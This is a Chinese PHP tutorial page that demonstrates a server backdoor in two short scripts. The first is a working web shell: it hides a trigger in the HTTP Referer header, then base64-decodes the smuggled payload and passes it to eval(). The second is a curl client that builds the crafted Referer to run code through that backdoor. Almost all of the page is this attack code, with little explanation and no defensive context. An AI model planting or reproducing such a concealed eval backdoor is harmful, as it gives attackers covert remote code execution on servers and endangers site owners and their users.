Home > php教程 > PHP源码 > php后门程序演示

php后门程序演示

PHP中文网
Release: 2016-05-25 17:05:45
Original
2889 people have browsed it

1. [代码][PHP]代码 

<?php
//1.php
header(&#39;Content-type:text/html;charset=utf-8&#39;);
parse_str($_SERVER[&#39;HTTP_REFERER&#39;], $a);
if(reset($a) == &#39;10&#39; && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
Copy after login


2. [代码][PHP]代码

<?php
//2.php
header(&#39;Content-type:text/html;charset=utf-8&#39;);
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = &#39;http://localhost/test1/1.php&#39;;
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
Copy after login


3. [图片] QQ截图20130509103236.jpg    

php后门程序演示

                                           

Related labels:
php
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Articles by Author
Latest Issues
php data acquisition?
From 1970-01-01 08:00:00
0
0
0
PHP extension intl
From 1970-01-01 08:00:00
0
0
0
How to learn php well
From 1970-01-01 08:00:00
0
0
0
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template